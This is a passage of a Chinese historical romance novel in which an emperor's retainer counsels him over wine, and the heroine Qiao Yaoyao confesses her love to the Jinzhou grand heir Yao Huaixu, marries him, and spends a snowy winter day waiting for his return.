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,“同她爹娘还有兄弟姐妹们聚在一起热热闹闹的吃团圆饭,满院灯火通明,祥和喜乐。”
“我是不是应该......”
青来打断,“陛下,您不应该,您已经拥有的够多了。您登上了九五至尊之位,睥睨天下;您和锦州达成盟约,未来百年无需担心外敌之患;您扣押了乔家,他们将永远扎根盛京,同徐大人一起是您朝堂最得力、最可信赖之人。做到这个份上,您已经做得很好,得到许多了。”
“凭借您的能力,三两年内,朝内朝外便能治理清明、有序,四处笙歌,一片向好。“
这是真心话,”沈祀安,你有这本事。”
“说到底乔家不欠你什么,更不欠沈家什么,帮是情分,不帮是本分,乔家没有你、我、徐显这么深的滔天血恨,你自己已经答应了锦州太孙,不是已经想明白了吗?”
青来有些激动,但这么一大段的“良言”沈祀安好像都没听进去,没头没脑问了一句,“青来,如果乔家女入后宫,这样还需要和锦州的盟约吗?盛州兵强马壮,何时需要外援?”
青来垂眸,顿了片刻从坐着变成跪在地上,许是因为喝酒的缘故,这么简单一个动作他也做得缓慢,他说,“陛下,如果盛州锦州联姻,那么将得到边境百年祥和,又有乔大小姐戊守北郡,陛下大可放心,由着这二位的缘故陛下把乔家留在盛京,半是君恩半是要挟,陛下,够了。
......
乔三小姐从来就不是这宫墙里的人,在这宫里假模假、装腔作势的样子您也不是没见过,她,从头到尾都不属于这里,更遑论乔家的大小姐,您心里都明白,单是乔青松同徐显便是日后朝堂里您最好的左膀右臂......”
前半句是劝,后半句是私心,青来依旧跪着,脸颊红酡,说话都有些语无伦次前后翻账,沈祀安也没好到哪儿去,今年新酿的酒怎么这么醉人。
酒坛子胡乱在地上倒放着,桌上的青瓷酒壶从一人的手里滚落,伶伶琅琅并未滚远,不远处是一个白玉镯,宁静安详。
至亲至近,至疏至离,帝王常事,无□□寂。
到了六月,去年埋下那几坛子桃花酿就该启封尝尝味儿了,有一些人,就是很莫名其妙对你胃口,莫名其妙知道你在想什么,就比如此时此刻,明月高悬,姚淮序在院中石桌上给乔杳杳准备了她惦记的那口桃花酿,上面干掉的泥土还带着北郡的独特气味,
只有从北郡出来的“天涯客”才知道,那是一种“归乡”。
很多年很多年之后,乔杳杳才知道姚淮序为什么懂她的“归乡”,因为他同样对那个边陲小城有着归属感和眷念,里面还有着独属于他们两人的“情谊”。
坛子被打开,酒香并不浓郁,尝到嘴里才能体会出几分甘甜,是脆桃子的爽口,一点都不绵密缠人,干干脆脆、唇齿分明,姚淮序也尝了一口,毫不留情面直言道,“没入味。”
乔杳杳嘴硬说自己就喜欢喝这种,他就笑,静静地看着她,被压抑的情绪反扑,姚淮序觉得真是一晃过了好多年,为求得这片刻温存真是......历尽磨难。
吃多少苦,又来回多少算计他不在乎,可是每次姑娘看着他跟他说“太孙殿下,请自重”、“太孙殿下往后不要来了”的时候密密麻麻像针扎一样痛,没办法呼吸,为什么要推开他呢?他愿意同她一起在这些看不清的风云诡异的棋局上一遍又一遍去承受、面对,他的一切皆可做筹码,唯独受不了姑娘同他划清界限,就算事到如今他仍旧有一种不真实感。
“乔杳杳。”
乔杳杳愣了一瞬,茫然道,“啊?”
姚淮序眼里的情绪太浓郁,太悲情,从眼睛里传递给乔杳杳,丝丝缕缕皆有声,乔杳杳从他的眼睛里读懂了他的难过、他的卑怯,观音像透出来的难过是悲悯、慈悲,可姚淮序浑身上下都只在说,“要不你好好看我一眼。”
晚膳过后母亲同她讲了一句话,“我们全家人只希望元娘平安喜乐,健健康康。”
母亲知道呀,父兄也知道呀,就连姐姐同样明了。
乔家不需要她在宫里来回奔走、身陷混沌,之前他们已经试过了,并无大碍甚至说并非不是不能接受,但是比起这些,他们更希望乔杳杳去做自己喜欢的事情,不被困在高墙之中,她的自由同样寄托了他们的自由与祈愿。
“喜欢。”
这是她的回应。
姚淮序不敢相信,以为自己没听清楚,“喜欢......喜欢?!喜欢什么?!”
“喜欢闲庭淡茶的日子。”
“我还想再在院中种一棵梨树,然后躺在我的摇椅上晒太阳,听我的算盘来回拨弄的清脆响。”
“还喜欢太孙殿下,见之君,寤寐思复,难忘却。”
引线顺着耳朵被点燃,烟花在他脑子里炸开,姚淮序只觉得浑身血液逆流,连呼吸都变得滚烫,他还正经坐着却已经左顾右盼、慌乱得手脚无措,又是端杯又是洒酒又是咳嗽,连着脖颈红到耳垂,乔杳杳看见一颗金豆子随着他眨眼的动作落在酒杯里,声音都变哑了,但是她才不会笑话他,因为,她知道他有多高兴多愉悦多欢喜,她同样如此。
不远处守在墙外的桃肆浑身一颤打了个喷嚏,小声嘟囔道,“殿下怎么还不出来?这都月上三更了。”
费承风打趣道,“可不是,着急见心上人把活都扔给咱们干,从锦州送聘礼到盛京,渍渍渍,听听,多苦多累的活儿啊!”
“费大人,你说殿下不会知道咱们两个偷跑过来了吧。”
“应该不知道,但是如果你继续待在这里的话那他马上就知道了。”费承风一把搂住桃肆的脖子强制拉他去客栈,桃肆恋恋不舍但,是为了防止殿下知道他们偷跑出来心想还是听费大人的吧,不然......
“小桃肆,专心点!撞了!”
“啊?哦哦哦。”
风朗月清,风光无限好。
七月初七,宜嫁娶,天公作美,喜结良缘,十里红妆,满城迎送,
遂人愿,与君千万年。
61. 冬宜密雪,有碎玉声
元丰二十三年,冬宜密雪,有碎玉声。
屋里炉子烧得火烫,沉月敲了主屋的门得到回应后指挥着丫鬟将热水、面巾一一摆好,最后一个将帘子重新掩紧把寒气都屏绝在外。
姚淮序已经起床,丫鬟嬷嬷一拥上前伺候着穿上袍衫,扣子系好,递上面巾。有丫鬟绕过屏风去往里间去,还未走进就听得一声,“我来吧。”
他接过手帕,用手背挑起帘纱,想到要做什么就忍不住笑,微微倾身用食指和中指夹住床上人的鼻子,看她不舒服蹙眉然后被憋醒,再笑着将温热的面巾盖在她脸上,吓一激灵。
听着这动静,参杂着乔杳杳的怒骂和姚淮序的笑声,外间的丫鬟婆子们已经见怪不怪,互相眉来眼去心照不宣。
吃过早饭后乔杳杳的气还未消,窝在摇椅上看书,姚淮序怎么叫都不搭理,叫的多了实在烦的紧就道,“王爷没什么事儿吗?”
言外之意就是:你闲的?
姚淮序单挑眉朝她招手,早上惹了夫人不快眼下要多说两句好听的哄着些。
“你过来给你看个好东西。”
“不看。”
天空开始飘雪,姚淮序没法,自己端着刚刚俯首于书案写的字上赶着找夸。
“喜至庆来,永永共祥”
平心而论这字大气从容,沉稳劲道远远胜过书香卷意,可看字的又不是什么书法大家,对这些可不感兴趣。乔杳杳瞥了一眼字直起身子来,道:“今日立冬,你什么时候走?”
屋里除了他们没其他人,姚淮序自然而然就脱掉了自己的鞋朝乔杳杳压下来,乔杳杳只能感觉到有一片阴影遮在了自己脑袋上方。
“让开一点!你挡我的光了!”
姚淮序一把把人捞起搂着腰翻了个身,自己躺下让人躺在自己身上,书页哗哗翻了新页,乔杳杳朝他胸口用力一锤,结结实实的一拳,姚淮序吃痛闷哼一声,就算如此也不撒手,硬忍着将书翻到刚才她看的那页然后埋在她脖颈里浑身抖,起初是忍痛缓劲儿,到了后面干脆笑出声来,带着乔杳杳又好笑又好气,随后就着这个姿势窝在他怀里盖着书假寐。
姚淮序手指点在扶手上一下又一下,书是看不进去了,乔杳杳越想越气,最后直接撑着坐起来在姚淮序下巴上轻轻咬了一口才作数。
姚淮序由着她闹,浑身紧绷后轻吸鼻子缓缓突出一口气偏了头,这清早的他可不敢再折腾这祖宗了,不然今晚上又要睡书房,刚从书房搬回来谁乐意去睡那冷床?
纤长指尖闲不住绕她的头发一圈又一圈,漫不经心道,“晚上等我回来吃饺子?”
“不要。”
“别人家的夫君出门”他忍不住拿手指夹她脸颊,“都恨不得跟着对方去,时时刻刻不分离。”
乔杳杳好笑道,“是夫人还是荷包?”
姚淮序不争辩,手上却不闲着,蹭来蹭去蹭的乔杳杳痒痒又心烦,干脆起身不乐和他呆在一起,从书案上抄起红珠算盘就出了门。
候在门口的沉月听见动静回头,看见王妃只穿了薄薄外衫又连忙嘱托丫鬟去拿大氅,谁知丫鬟还未进屋姚淮序胳膊搭着白狐裘就递了出来,同在一起的还有他的披风。
管家上前接过递给丫鬟,只听他吩咐道,“去给元娘披上,书房的火炉烧热些,她不爱歇在书房午时定要回主屋,这边的炉火也照看好。”
“是。”
“桃肆呢?”
“桃肆大人已经在门口等着了,马车也安排妥当,皇城里的公公一应都在。”
姚淮序眯起眼睛,不悦道,“催什么?”
管家哭笑不得,外间的一点没催过,反倒是自家王爷心里不宁,干脆就不想去,可是一年里新帝总要有些不明了的事情倚仗王爷,不过,近些年来少了许多,也才能有机会从皇城脚下搬来这宛梨小院。
这儿原来是山霖山庄的旧址,翻新一通换了名字,但院前院后依旧栽满了各类花草树木,树多成林,其中不乏当时火燎过后新发芽的老树,还有不知名的野草蓬勃而生,院中是一颗白梨。
五年春秋已亭亭盖立。
连下一日的雪,颜色素白,庭院檐角四处吊起廊灯,在这沉闷的天气里并不明亮,乔杳杳午时小憩一不小心睡了整个下午,迷迷糊糊又梦到了小时候。
看不见尽头的白色连绵不绝,天地茫茫只有这一种颜色,风声呼啸,在梦里她还是个孩童,风雪交加让她寸步难行。
悉悉索索的动静从雪里冒了出来,乔杳杳眉头紧蹙,这是什么怪声?
接着昏暗的灯打在白茫茫的天地间,乔杳杳迷迷糊糊半掀起眼皮,嗓子还有些哑,“
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沉月?”
“吵醒您啦?也该起了,您睡了一下午。”
“父亲回来了?”
沉月一愣,随即笑道,“瑞王妃这是睡糊涂了?”
乔杳杳眨巴两下眼睛,翻身将脸埋到被子里,睡糊涂了,忘记自己都已经嫁人了,不过北郡离这儿可不远,什么时候要回去看看,说到这个……
“什么时辰了?”
“已经戌时一刻了”
乔杳杳了然,思考片刻随口问道,“还没回来?”
沉月摇摇头,“今日雪大还在下,院子里都铺了厚厚一层,寻常时候算算时辰已经到了,可今儿碰上大雪王爷可能要到明日才回来了。”
“饺子包了?”
沉月满心欢喜,“都准备好了,肉的、素的都有!”
乔杳杳不禁也染上三分笑意,“开锅吧,给王爷留一份。”
沉月给她穿鞋,“今儿个外面冷的厉害,要不您就在屋里吧,我把火炉烧得热热的。”
“太闷了,我出去透透气。”
沉月应声,帮她穿好后去了厨房吩咐,厨房人来人往说话的、干活的、热热闹闹十分火热,转身出来回屋却没找到乔杳杳,撑了伞往府门走。
乔杳杳的大氅将她整个人围住,站在大门处只能看见小小的一个,手里提一个四角宫灯,低着头不知道在看什么,时不时脚尖在地上来回滑动,旁边撑伞的是个嬷嬷,絮絮叨叨嘴里没个停,许是念叨的有些烦,沉月竟然在姑娘身上看出几分无奈和颓然,有些好笑。
忽然马蹄声响起,越来越大,夹杂成风霜离得越来越近。
沉月没去看究竟是谁,她的目光还落在乔杳杳身上,只见她蓦然抬头,提着宫灯小跑去迎接,或许她自己都没意识到自己有多么迫不及待,小脸扬起露出冻得通红的鼻尖和脸颊,那人同样鼻尖通红,双肩还落满了雪。
姑娘垫脚为他拂去落雪,他伸手接过嬷嬷的伞撑在两人头上,另一只手不老实地放在姑娘后颈又迅速抽离。
沉月走近了些,听见姑娘娇嗔骂道,
“姚淮序你个没良心的!”
姚淮序却道,
“元娘,我好想你。”
沉月心里笑开了花,真好。
元丰二十三年,冬宜密雪,人与景同好。